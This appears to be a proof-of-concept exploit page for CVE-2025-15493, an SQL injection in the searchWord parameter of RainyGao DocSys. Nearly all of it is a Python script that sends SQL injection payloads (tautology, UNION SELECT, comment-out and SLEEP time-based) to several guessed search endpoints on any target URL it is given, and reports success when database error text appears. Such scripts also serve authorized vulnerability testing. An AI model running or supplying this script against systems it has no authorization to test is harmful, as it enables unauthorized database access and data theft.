CVE-2025-15493 RainyGao DocSys searchWord参数SQL注入漏洞

import requests import sys # CVE-2025-15493 SQL Injection PoC for RainyGao DocSys # Target: RainyGao DocSys <= 2.02.36 # Parameter: searchWord # File: src/com/DocSystem/mapping/ReposAuthMapper.xml def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in searchWord parameter """ # Common endpoint patterns for DocSys search functionality endpoints = [ "/repos/search", "/api/repos/search", "/search", "/api/search", "/reposAuth/search" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint params = { 'searchWord': payload } try: response = requests.get(url, params=params, timeout=10) print(f"[*] Testing endpoint: {url}") print(f"[*] Status code: {response.status_code}") # Check for SQL error indicators if any(err in response.text.lower() for err in ['sql', 'syntax', 'error', 'mysql', 'oracle']): print(f"[+] Potential SQL injection detected!") print(f"[+] Response snippet: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") return False # Test payloads test_payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "admin'--", "1' AND SLEEP(5)--" ] if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15493.py <target_url>") print("Example: python cve-2025-15493.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Starting CVE-2025-15493 exploitation...") print(f"[*] Target: {target}") for payload in test_payloads: print(f"\n[*] Testing payload: {payload}") if exploit_sqli(target, payload): print(f"[+] Vulnerable to: {payload}") break